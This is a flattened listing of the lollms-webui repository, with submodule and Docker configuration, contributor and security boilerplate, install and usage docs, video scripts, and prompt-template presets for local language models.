"lollms_core"] 14 | path = lollms_core 15 | url = https://github.com/ParisNeo/lollms.git 16 | branch = main 17 | [submodule "utilities/safe_store"] 18 | path = utilities/safe_store 19 | url = https://github.com/ParisNeo/safe_store.git 20 | branch = main 21 | [submodule "utilities/pipmaster"] 22 | path = utilities/pipmaster 23 | url = https://github.com/ParisNeo/pipmaster.git 24 | branch = main 25 | [submodule "zoos/functions_zoo"] 26 | path = zoos/functions_zoo 27 | url = https://github.com/ParisNeo/lollms_functions_zoo.git 28 | branch = main 29 | [submodule "zoos/services_zoo"] 30 | path = zoos/services_zoo 31 | url = https://github.com/ParisNeo/lollms_services_zoo.git 32 | branch = main 33 | -------------------------------------------------------------------------------- /.hadolint.yaml: -------------------------------------------------------------------------------- 1 | ignored: 2 | - SC1091 3 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | repos: 2 | - repo: https://github.com/ParisNeo/parisneo-precommit-hooks 3 | rev: v0.1.0 # Use the latest version 4 | hooks: 5 | - id: parisneo-python-check 6 | - id: parisneo-js-check -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "ros.distro": "noetic" 3 | } -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to lollms-webui 2 | 3 | Thank you for your interest in contributing to [Your Repository Name]! We appreciate your efforts to help make our project better. 4 | 5 | ## Contributing Guidelines 6 | 7 | Before you start contributing, please take a moment to review our guidelines: 8 | 9 | 1. Please do not include links directly to your own repositories or external websites. Instead, please use a code tag to display any code snippets or examples. 10 | 11 | 2. Please ensure that your contributions are well-documented and include comments where necessary. 12 | 13 | 3. Please follow our coding standards and best practices, as outlined in our [style guide](link-to-style-guide). 14 | 15 | 4. If you have any questions or need assistance, please feel free to reach out to the project maintainers. 16 | 17 | ## Submitting Contributions 18 | 19 | To submit a contribution, please follow these steps: 20 | 21 | 1. Fork the repository and create a new branch for your changes. 22 | 23 | 2. Make your changes and ensure that all tests pass. 24 | 25 | 3. Commit your changes and push them to your fork. 26 | 27 | 4. Submit a pull request to the main repository. 28 | 29 | 5. Wait for feedback from the project maintainers. 30 | 31 | Once your pull request is approved, your changes will be merged into the main repository. 32 | 33 | Thank you for your contributions to lollms-webui! 34 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.11-slim 2 | 3 | # Add retry logic and include OpenGL libraries 4 | RUN apt-get update --option Acquire::Retries=5 \ 5 | && apt-get install -y --no-install-recommends \ 6 | git \ 7 | build-essential \ 8 | xauth \ 9 | libgl1 \ 10 | libglib2.0-0 \ 11 | libsm6 \ 12 | libxext6 \ 13 | libxrender-dev \ 14 | && apt-get clean \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | # Set working directory 18 | WORKDIR /app 19 | 20 | # Clone LoLLMs-webui repository with submodules 21 | RUN git clone --recursive https://github.com/ParisNeo/lollms-webui.git . && \ 22 | git submodule update --init --recursive 23 | 24 | # Install Python dependencies 25 | RUN pip install --no-cache-dir -r requirements.txt 26 | RUN pip install torch 27 | RUN pip install -e lollms_core 28 | RUN mkdir /app/personal_data 29 | RUN echo "lollms_path: /app/lollms-webui/lollms_core/lollms\nlollms_personal_path: /app/personal_data" > /app/global_paths_cfg.yaml 30 | # Expose default web UI port 31 | EXPOSE 9600 32 | 33 | # Set the entrypoint to our start script 34 | CMD ["python", "/app/app.py", "--host", "0.0.0.0", "--force-accept-remote-access"] 35 | 36 | 37 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | Use this section to tell people about which versions of your project are 6 | currently being supported with security updates. 7 | 8 | | Version | Supported | 9 | | ------- | ------------------ | 10 | | 5.1.x | :white_check_mark: | 11 | | 5.0.x | :x: | 12 | | 4.0.x | :white_check_mark: | 13 | | < 4.0 | :x: | 14 | 15 | ## Reporting a Vulnerability 16 | 17 | Use this section to tell people how to report a vulnerability. 18 | 19 | Tell them where to go, how often they can expect to get an update on a 20 | reported vulnerability, what to expect if the vulnerability is accepted or 21 | declined, etc. 22 | -------------------------------------------------------------------------------- /ai_ethics/ParisNeo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/ai_ethics/ParisNeo.png -------------------------------------------------------------------------------- /api/config.py: -------------------------------------------------------------------------------- 1 | ###### 2 | # Project : lollms-webui 3 | # File : config.py 4 | # Author : ParisNeo with the help of the community 5 | # Supported by Nomic-AI 6 | # license : Apache 2.0 7 | # Description : 8 | # Configuration management tool 9 | ###### 10 | import yaml 11 | 12 | __author__ = "parisneo" 13 | __github__ = "https://github.com/ParisNeo/lollms-webui" 14 | __copyright__ = "Copyright 2023, " 15 | __license__ = "Apache 2.0" 16 | 17 | 18 | def load_config(file_path): 19 | with open(file_path, "r", encoding="utf-8") as stream: 20 | config = yaml.safe_load(stream) 21 | 22 | return config 23 | 24 | 25 | def save_config(config, filepath): 26 | with open(filepath, "w") as f: 27 | yaml.dump(config, f) 28 | -------------------------------------------------------------------------------- /api/helpers.py: -------------------------------------------------------------------------------- 1 | __author__ = "parisneo" 2 | __github__ = "https://github.com/ParisNeo/lollms-webui" 3 | __copyright__ = "Copyright 2023, " 4 | __license__ = "Apache 2.0" 5 | 6 | 7 | def compare_lists(list1, list2): 8 | if len(list1) != len(list2): 9 | return False 10 | else: 11 | return list1 == list2 12 | -------------------------------------------------------------------------------- /assets/conda_session.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/conda_session.ico -------------------------------------------------------------------------------- /assets/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo.ico -------------------------------------------------------------------------------- /assets/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo.jpg -------------------------------------------------------------------------------- /assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo.png -------------------------------------------------------------------------------- /assets/logo_guibli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo_guibli.png -------------------------------------------------------------------------------- /assets/logo_old.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo_old.ico -------------------------------------------------------------------------------- /assets/logo_old.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo_old.png -------------------------------------------------------------------------------- /assets/logo_starter_pack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo_starter_pack.png -------------------------------------------------------------------------------- /assets/logo_twins.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/logo_twins.png -------------------------------------------------------------------------------- /assets/lollms_2.png: -------------------------------------------------------------------------------- 1 | AuthenticationFailedServer failed to authenticate the request. Make sure the value of Authorization header is formed correctly including the signature. 2 | RequestId:97ff4d45-801e-0010-0738-ad0b5d000000 3 | Time:2025-04-14T12:27:42.7744473ZSigned expiry time [Mon, 14 Apr 2025 11:33:58 GMT] must be after signed start time [Mon, 14 Apr 2025 12:27:42 GMT] -------------------------------------------------------------------------------- /assets/lollms_kawai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/lollms_kawai.png -------------------------------------------------------------------------------- /assets/lollms_lego_image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/lollms_lego_image.png -------------------------------------------------------------------------------- /assets/petals.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/petals.ico -------------------------------------------------------------------------------- /assets/ubuntu.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/ubuntu.ico -------------------------------------------------------------------------------- /assets/ubuntu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/ubuntu.png -------------------------------------------------------------------------------- /assets/update.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/assets/update.ico -------------------------------------------------------------------------------- /books.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/books.sqlite -------------------------------------------------------------------------------- /databases/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/databases/.keep -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.10' 2 | 3 | services: 4 | lollms-webui: 5 | build: 6 | context: . 7 | dockerfile: Dockerfile 8 | ports: 9 | - "${PORT:-9621}:9621" 10 | volumes: 11 | - ./personal_data:/app/personal_data # For configurations and user data 12 | - ./models:/app/models # For model storage 13 | - ./custom_personalities:/app/custom_personalities # For custom personalities 14 | environment: 15 | - ALLOWED_CLIENT_IP=172.18.0.1 16 | restart: unless-stopped 17 | # Add GPU support if needed 18 | deploy: 19 | resources: 20 | reservations: 21 | devices: 22 | - driver: nvidia 23 | count: all 24 | capabilities: [gpu] 25 | -------------------------------------------------------------------------------- /docs/books/books.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/docs/books/books.sqlite -------------------------------------------------------------------------------- /docs/custom_personality_docs/architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/docs/custom_personality_docs/architecture.png -------------------------------------------------------------------------------- /docs/dev/scheme.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/docs/dev/scheme.png -------------------------------------------------------------------------------- /docs/lollms_user_guide/lollms_user_guide.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/docs/lollms_user_guide/lollms_user_guide.pdf -------------------------------------------------------------------------------- /docs/usage/Linux_Osx_Install.md: -------------------------------------------------------------------------------- 1 | # Installing lollms-webui on Linux or macOS: 2 | 3 | \- Make sure you have all the dependencies for requirements 4 | `python3.11 -m pip install cmake` 5 | `python3.11 -m pip install nproc` if you have issues with scikit-learn add the foollowing env var 6 | `SKLEARN_ALLOW_DEPRECATED_SKLEARN_PACKAGE_INSTALL=True` 7 | `python3.11 -m pip install wget` 8 | 9 | \- Install requirements 10 | python3.11 -m pip install -r requirements.txt  11 | 12 | ![](https://user-images.githubusercontent.com/9384127/230159652-120e60f3-b737-434a-ac01-15819a0e7698.png) 13 | 14 | \- Review the install script 🙏🏻 15 | 16 | ``` 17 | nano -lASimYsh install.sh 18 | ``` 19 | 20 | ![](https://user-images.githubusercontent.com/9384127/229646387-9fea98c6-fb13-496b-b8eb-9db6fe241556.png) 21 | 22 | \- Make it runnable 23 | 24 | ``` 25 | chmod +x install.sh 26 | ``` 27 | 28 | \- Run the install script 29 | 30 | ``` 31 | ./install.sh 32 | ``` 33 | 34 | ![](https://user-images.githubusercontent.com/9384127/229650379-e70a54b3-a8c0-44c6-a44f-26b96dfbcf4e.png) 35 | 36 | \- Install nomic  37 | 38 | ``` 39 | pip install nomic 40 | ``` 41 | 42 | or force pip to install with Python 3.11 43 | 44 | ``` 45 | python3.11 -m pip install nomic 46 | ``` 47 | 48 | ![](https://user-images.githubusercontent.com/9384127/229660511-ea6ef97e-712a-4e59-81d4-b4162e796728.png) 49 | 50 | ![](https://user-images.githubusercontent.com/9384127/229660570-a960cfc3-4634-4354-868f-259ba9ffe888.png) 51 | 52 | \- Install/updt venv  53 | 54 | ``` 55 | sudo apt install python3.11-venv 56 | ``` 57 | 58 | ![](https://user-images.githubusercontent.com/9384127/229801745-3c84e89e-c62c-460d-9e79-dafe5aa518d5.png) 59 | 60 | \- ToDo 61 | 62 | -------------------------------------------------------------------------------- /docs/usage/Linux_Osx_Usage.md: -------------------------------------------------------------------------------- 1 | # Using lollms-webui on Linux or macOS: 2 | 3 | To run the Flask server, execute the following command: 4 | 5 | ```bash 6 | python app.py [--port PORT] [--host HOST] [--temp TEMP] [--n-predict N_PREDICT] [--top-k TOP_K] [--top-p TOP_P] [--repeat-penalty REPEAT_PENALTY] [--repeat-last-n REPEAT_LAST_N] [--ctx-size CTX_SIZE] 7 | ``` 8 | 9 | On Kali Linux it runned well but Ubuntu requires some upgrades: 10 |  - python3.11 -m pip install numpy --upgrade 11 | 12 | 13 | 14 | ![](https://user-images.githubusercontent.com/9384127/229806717-1b260484-723f-4780-b69b-d19c7375a84e.png) 15 | 16 | ![](https://user-images.githubusercontent.com/9384127/229807131-623e9017-1536-473c-9e54-58d64f007991.png) 17 | 18 | ![](https://user-images.githubusercontent.com/9384127/229809099-3ef4d87f-18ce-4873-b43b-e6f9d7accb50.png) 19 | 20 | ![Magic Memes](https://www.memesmonkey.com/images/memesmonkey/77/771330e9f7a2a22e7b412187a657045c.jpeg) 21 | 22 | 😅 23 | 24 | ?Root? 25 | 26 | ![](https://user-images.githubusercontent.com/9384127/230199605-ab29926d-07dc-4d4d-9fd9-c51f9e117dfb.jpeg) -------------------------------------------------------------------------------- /docs/youtube/homophonic harmony.txt: -------------------------------------------------------------------------------- 1 | (catchy guitar riff melodic intro) 2 | (Verse 1) 3 | I see you there, standing over there 4 | Their clothes are new, they're looking cool 5 | To go too far, or two steps more? 6 | For four's the score, we're keeping score 7 | 8 | (Chorus) 9 | Oh, it's a homophonic world 10 | Where words collide and meanings swirl 11 | Hear the sound, but don't be fooled 12 | Here's the game that can't be ruled 13 | 14 | (Verse 2) 15 | The bear is bare, but please don't stare 16 | We'll pair the pear with utmost care 17 | The knight at night will write it right 18 | The site's in sight, it's quite a sight 19 | 20 | (Bridge) 21 | Reign or rain, it's all the same 22 | Rein it in, don't miss the main 23 | Mane of glory, what a story 24 | Homophones in all their glory 25 | 26 | (Chorus) 27 | Oh, it's a homophonic world 28 | Where words collide and meanings swirl 29 | Hear the sound, but don't be fooled 30 | Here's the game that can't be ruled 31 | 32 | (Outro) 33 | So whether or not the weather's hot 34 | We've tied a knot of wordy thoughts 35 | This tale we've told, both new and old 36 | Has homophonic gold, all told! -------------------------------------------------------------------------------- /docs/youtube/lollms_contextual_summery.md: -------------------------------------------------------------------------------- 1 | Hi there, this is a short to show you the potential of the hierarchical contextual summary of documents using lollms. 2 | 3 | To do so, we first go to settings page. Under the personalities section, select the category data, and mount the docs_zipper personality. 4 | 5 | Now, we go to the personality settings and we set some specific summery parameters. Here we say keep the method description, we select keep document title and authors in the summary. We set the summary size in tokens and we validate. 6 | 7 | Now we add the document to summarize and we go to the personality menu and we select start 8 | 9 | The document will be decomposed into a certain number of chunks, then each chunk is contextually summarized. After that the summeries are tied together then the operation is repeated until the compressed text is smaller than the maximum number of tokens set in the configuration. 10 | 11 | The contextual nature of this algorithm will allow you to have better control over the summary. For example, here we asked for keeping the title, the author names and the results of the paper as well as the method. 12 | 13 | As you can see, the summary has respected all the constraints that we did set. We can find the title, the authors names, the method and the numerical results. 14 | 15 | Don't forget to like and subscribe 16 | Thanks for watching 17 | -------------------------------------------------------------------------------- /docs/youtube/lollms_deep_dive.txt: -------------------------------------------------------------------------------- 1 | Hi there, 2 | 3 | In this video, we are going to delve into the inner workings of lollms. We will learn how the underlying L.L.Ms work, how the RAG system works, and how you can connect lollms to multiple sources or clients. 4 | 5 | To start, Large Language Models or LLMs for short, are a special kind of models that perform operations on text. We are going to focus on a specific type of tasks which is text generation from a prompt. 6 | 7 | 8 | -------------------------------------------------------------------------------- /docs/youtube/lollms_lawyer.md: -------------------------------------------------------------------------------- 1 | Disclaimer: 2 | As any AI model, the models used on lollms are sometimes prone to errors 3 | and bias. This is not a replacement for lawyers but just a tool that may help 4 | you if you didn't understand some terms in a document or if you have 5 | a big document and need to look for a specific part of it. 6 | 7 | The quality of the answers will depend on the model you are using. 8 | larger models tend to be better, but there is no garantee that the answer is correct. 9 | 10 | 11 | Make sure you contact a legal professional for serious matters. 12 | Thanks for watching 13 | See ya -------------------------------------------------------------------------------- /docs/youtube/lollms_mistral.md: -------------------------------------------------------------------------------- 1 | Hi there, 2 | 3 | Let me show you how you can use the new web RAG (Retreival Augmented Generation) proposed on lollms to allow your persona to use a path to a website to learn how to do some new stuff. 4 | 5 | Here I'll point it to my FaceAnalyzer library that you can find on my github page then ask it to make an application for detecting my facial landmarks in realtime and show them in green. 6 | 7 | The AI will use the content of my github readme in order to accomplish my request. You can also add multiple paths if you have a more complex request that requires more than one library. 8 | 9 | We will be using the new MistralAI medium model through MistralAI API. To use this binding you need to create a mistralAI account and get a key that you should put in settings. 10 | 11 | Let's start by going to the github of the FaceAnalyzer application then copy its path. Now in lollms, press the globe button and paste the path. 12 | 13 | Select Mistral AI binding and the Mistral Medium model from the models zoo. 14 | 15 | Now let's ask it to make the code. 16 | 17 | As you can see, the code seems correct, it does use the FaceAnalyzer library as it should. Let's execute it. 18 | 19 | As you can see, the application works. We didn't need to do multiple turn discussions, the model was good enough to accomplish the task just as I asked. 20 | 21 | Combining Lollms, its personas, and its Rag with the power of mistral AI allows you to be more productive. 22 | 23 | Thanks for watching 24 | See ya 25 | 26 | -------------------------------------------------------------------------------- /docs/youtube/playground_coding.md: -------------------------------------------------------------------------------- 1 | Hi there. Today I'm going to show you how to use the lollms playground to make, debug, execute and document python code. 2 | Let's go. 3 | First, open the playground and look for the preset called "Make full python code". 4 | Press the validation button to put the preset content into the main input text area. 5 | Now you need to update the elements delimited by @< and >@. 6 | We set the project title, the author and a description of the project. 7 | Here we will create a code that uses matplotlib to show a sine wave. 8 | Now press the generate text button to start generating the text. 9 | The AI generates a code that can be tested using the button execute. If there is a bug, just correct it and regenerate. 10 | Now you can execute the code. 11 | It works as expected. 12 | Finally, we can document the code we have just made. Just use the documentation text in the preset and run the generation. 13 | As you can see, the AI gave a good README.md file that I can use on my github page. 14 | Be aware that the quality of the output depends on the model you are using. Make sure you use a good model for coding. You can checkout the models leaderboard on hugging face. 15 | I hope you liked this. 16 | Don't forget to like and subscribe. 17 | See ya -------------------------------------------------------------------------------- /docs/youtube/playground_translation.md: -------------------------------------------------------------------------------- 1 | Hi there. Today I'm going to show you how to use the lollms playground to translate your documents from a language A to a language B. 2 | Let's go. 3 | First, open the playground and look for the preset called Generic Translator. 4 | Press the validation button to put the preset content into the main input text area. 5 | Now you need to update the elements delimited by @< and >@. 6 | 7 | We set the input language. 8 | 9 | Then we set the text to be translated. 10 | 11 | We set the output language. 12 | 13 | finally we remove the output placeholder text and place the cursor there. 14 | 15 | Now press the generate text button to start generating the text. 16 | 17 | Some models tend to add a summary after doing the translation. This is caused by the way they were trained. Make sure you remove any extra deductions or useless text. 18 | 19 | Here you have it! Your text is ready. You can press copy button to copy it to the clipboard. 20 | 21 | You can test multiple languages. Just remove the output, change the output language name and press generate text again. 22 | 23 | Please note that the translation quality depends on the model you use. Better results can be obtained if you use a model that was trained with the languages involved in the translation. 24 | 25 | I hope you liked this. 26 | Don't forget to like and subscribe. 27 | 28 | See ya -------------------------------------------------------------------------------- /docs/youtube/podcast_steering_1.md: -------------------------------------------------------------------------------- 1 | # Extra info 2 | The current podcast was steered by lollms as the two personas who are talking are actually AI agents presenting a lollms description, but they are themselves controlled by lollms. Make a surprise emotion when they both understand that they are actually the product of AI generation. -------------------------------------------------------------------------------- /docs/youtube/scheme.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/docs/youtube/scheme.png -------------------------------------------------------------------------------- /docs/youtube/script_models.md: -------------------------------------------------------------------------------- 1 | Hi there, welcome to a snippet about bindings and models selection. 2 | 3 | In this short video we will look at bindings and models, how to select them and how to use them. 4 | 5 | First, to select a binding, go to the settings tab then Bindings zoo. 6 | 7 | You will find a certain numbre of bindings. Each binding as built by a person or a team. Make sure to visit their -------------------------------------------------------------------------------- /extensions/.keep: -------------------------------------------------------------------------------- 1 | Put your extensions Here -------------------------------------------------------------------------------- /extensions/chatgpt2lollms/indent_json.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import json 3 | from pathlib import Path 4 | 5 | 6 | def indent_json_file(input_file, output_file=None, indent=4): 7 | # Read the JSON file 8 | with open(input_file, "r") as file: 9 | data = json.load(file) 10 | 11 | # Determine the output file path 12 | if output_file is None: 13 | output_file = input_file.with_stem( 14 | input_file.stem + "_indented" + input_file.suffix 15 | ) 16 | 17 | # Write the indented JSON to the output file 18 | with open(output_file, "w") as file: 19 | json.dump(data, file, indent=indent) 20 | 21 | 22 | def main(): 23 | parser = argparse.ArgumentParser( 24 | description="Indent a JSON file and save it to a new file." 25 | ) 26 | parser.add_argument("input_file", type=Path, help="path to the input JSON file") 27 | parser.add_argument( 28 | "-o", "--output_file", type=Path, help="path to the output JSON file" 29 | ) 30 | parser.add_argument( 31 | "--indent", 32 | type=int, 33 | default=4, 34 | help="number of spaces for indentation (default: 4)", 35 | ) 36 | 37 | args = parser.parse_args() 38 | 39 | input_file = args.input_file 40 | output_file = args.output_file 41 | indent = args.indent 42 | 43 | indent_json_file(input_file, output_file, indent) 44 | 45 | 46 | if __name__ == "__main__": 47 | main() 48 | -------------------------------------------------------------------------------- /help/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | LoLLMs Help Documentation 7 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /images/default_model.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/images/default_model.png -------------------------------------------------------------------------------- /images/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/images/icon.png -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "lollms-webui", 3 | "lockfileVersion": 3, 4 | "requires": true, 5 | "packages": { 6 | "": { 7 | "dependencies": { 8 | "vue-draggable-resizable": "^2.3.0" 9 | } 10 | }, 11 | "node_modules/vue-draggable-resizable": { 12 | "version": "2.3.0", 13 | "resolved": "https://registry.npmjs.org/vue-draggable-resizable/-/vue-draggable-resizable-2.3.0.tgz", 14 | "integrity": "sha512-77CLRj1TPwB30pwsjOf3pkd1UzYanCdKXbqhILJ0Oo5QQl50lvBfyQCXxMFzwWwTc3sbBbQH3FfWSV+BkoSElA==", 15 | "engines": { 16 | "node": ">= 4.0.0", 17 | "npm": ">= 3.0.0" 18 | } 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "vue-draggable-resizable": "^2.3.0" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /presets/airoboros_instruct.yaml: -------------------------------------------------------------------------------- 1 | name: Airoboros Instruct 2 | content: | 3 | A chat between a curious user and an assistant. 4 | The assistant gives helpful, detailed, accurate responses to the user's input. 5 | ### USER: @@ 6 | ### ASSISTANT: @@ 7 | 8 | help: | 9 | This is the default Airoboros fine tuning format for chat mode with input. 10 | There are two parameters: 11 | - The first is the input, which is the subject of your injstruction. For example, if the instruction is summarize this text, then the input is the text. 12 | - The second parameter is the instruction itself. For example, summarize this text. 13 | 14 | author: ParisNeo (adapted from the original Airoboros documentation by Jon Durbin) -------------------------------------------------------------------------------- /presets/airoboros_instruct_with_obs.yaml: -------------------------------------------------------------------------------- 1 | name: Airoboros Instruct with obs 2 | content: | 3 | A chat between a curious user and an assistant. 4 | The assistant gives helpful, detailed, accurate responses to the user's input. 5 | ### USER: 6 | BEGININPUT 7 | BEGINCONTEXT 8 | @@ 9 | ENDCONTEXT 10 | @@ 11 | ENDINPUT 12 | BEGININSTRUCTION 13 | @@ 14 | ENDINSTRUCTION 15 | ### ASSISTANT: @@ 16 | 17 | help: | 18 | This is the default Airoboros fine tuning format for chat mode with context obedient question answering 19 | By obedient, JonDurbin means the model was trained to ignore what it thinks it knows, and uses the context to answer the question. 20 | This expects an input block + an instruction block. 21 | The input block has two parameters, first a key:value pairs, then a text input. 22 | The instructions block tells the AI what to do. 23 | 24 | author: ParisNeo (adapted from the original Airoboros documentation by Jon Durbin) -------------------------------------------------------------------------------- /presets/alpaca_instruct.yaml: -------------------------------------------------------------------------------- 1 | name: Alpaca Instruct 2 | content: | 3 | Below is an instruction that describes a task. Write a response that appropriately completes the request. 4 | 5 | ### Instruction: 6 | @@ 7 | 8 | ### Response:@@ 9 | 10 | help: | 11 | This is the default Alpaca fine tuning format for instruct mode with input. 12 | There is a single parameter: 13 | - The instruction to the AI. For example, Who is Abraham Lincoln? -------------------------------------------------------------------------------- /presets/alpaca_instruct_with_input.yaml: -------------------------------------------------------------------------------- 1 | name: Alpaca Instruct with input 2 | content: | 3 | Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. 4 | 5 | ### Instruction: 6 | @@ 7 | 8 | ### Input: 9 | @@ 10 | 11 | ### Response:@@ 12 | help: | 13 | This is the default Alpaca fine tuning format for instruct mode with input. 14 | There are two parameters: 15 | - The first parameter is the instruction itself. For example, summarize this text. 16 | - The second parameter is the input, which is the subject of your instruction. For example, if the instruction is summarize this text, then the input is the text. -------------------------------------------------------------------------------- /presets/build_latex_book.yaml: -------------------------------------------------------------------------------- 1 | name: Build a Latex Book 2 | content: | 3 | @@ 4 | ```latex 5 | \documentclass[12pt]{book} 6 | \usepackage{url} 7 | \begin{document} 8 | \title{@@} 9 | \author{@<Author name>@} % Author 10 | \date{\today} % Date 11 | \maketitle 12 | \tableofcontents 13 | \chapter{Introduction} 14 | @<generation_placeholder>@ 15 | \end{document} 16 | ``` 17 | snippets: 18 | - Import graphics(required to add graphics to the page) : 19 | \usepackage[demo]{graphic} 20 | - Add graph: | 21 | \includegraphics[width=4in]{@<Image name>@}% Replace with your own image path 22 | 23 | help: | 24 | Builds a latex code for a book -------------------------------------------------------------------------------- /presets/build_markdown_book.yaml: -------------------------------------------------------------------------------- 1 | name: Build a Markdown Book 2 | content: | 3 | @<Add some context information to give the AI some context about the book or leave blank if you have no specific idea>@ 4 | # @<book title>@ 5 | -------------------------------------------------------------------------------- /presets/email_enhancing_service.yaml: -------------------------------------------------------------------------------- 1 | name: Email enhancing service 2 | content: | 3 | Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. 4 | 5 | ### Instruction: 6 | Enhance the following email using the following settings: 7 | - Tone @<What is the tone of the email:formal:amical:corporate>@ 8 | 9 | ### Input: 10 | @<input>@ 11 | 12 | ### Response:@<generation_placeholder>@ 13 | help: | 14 | This preset enables you to format your email in order to make it even better -------------------------------------------------------------------------------- /presets/explain_code.yaml: -------------------------------------------------------------------------------- 1 | name: Explain code 2 | content: | 3 | ```@<Language:all_programming_language_options>@ 4 | @<put your code here>@ 5 | ``` 6 | Here is an explanation of the previous method:@<generation_placeholder>@ -------------------------------------------------------------------------------- /presets/fix_a_code.yaml: -------------------------------------------------------------------------------- 1 | name: Fix a code 2 | content: | 3 | Code fixer is a code fixing AI that fixes any code in any language. 4 | Here is a @<Language:all_programming_language_options>@ code: 5 | ```@<Language:all_programming_language_options>@ 6 | @<Input your code>@ 7 | ``` 8 | Instruction:Check this code and fix any errors if there are any. 9 | Code fixer: 10 | ```@<Language:all_programming_language_options>@ 11 | @<generation_placeholder>@", 12 | -------------------------------------------------------------------------------- /presets/fix_misspelling.yaml: -------------------------------------------------------------------------------- 1 | content: '### 2 | 3 | Act as a text misspelling fixer assistant. Assist the user to fix his text 4 | 5 | 6 | ### User: 7 | Fix spelling errors in this text 8 | ```markdown 9 | @<Text to fix>@ 10 | ``` 11 | 12 | ### Assistant: 13 | 14 | @<generation_placeholder>@ 15 | ```' 16 | name: Fix misspelling 17 | help: fixes missspellings 18 | -------------------------------------------------------------------------------- /presets/instruct_mode.yaml: -------------------------------------------------------------------------------- 1 | name: Instruct mode 2 | content: | 3 | Instructions: 4 | @<Give instructions to the AI>@ 5 | Answer:@<generation_placeholder>@ -------------------------------------------------------------------------------- /presets/make_programming_project.yaml: -------------------------------------------------------------------------------- 1 | name: Make programming project 2 | content: | 3 | ```@<Language:all_programming_language_options>@ 4 | # project: @<Project name>@ 5 | # author: @<Author name>@ 6 | # description: @<The description of the code>@@<generation_placeholder>@ 7 | ``` 8 | --------- 9 | Extra information: 10 | license: apache 2.0 11 | Program type: Stand alone. 12 | Documentation: 13 | Make README.md with the following table of contents: 14 | ## Description 15 | ## 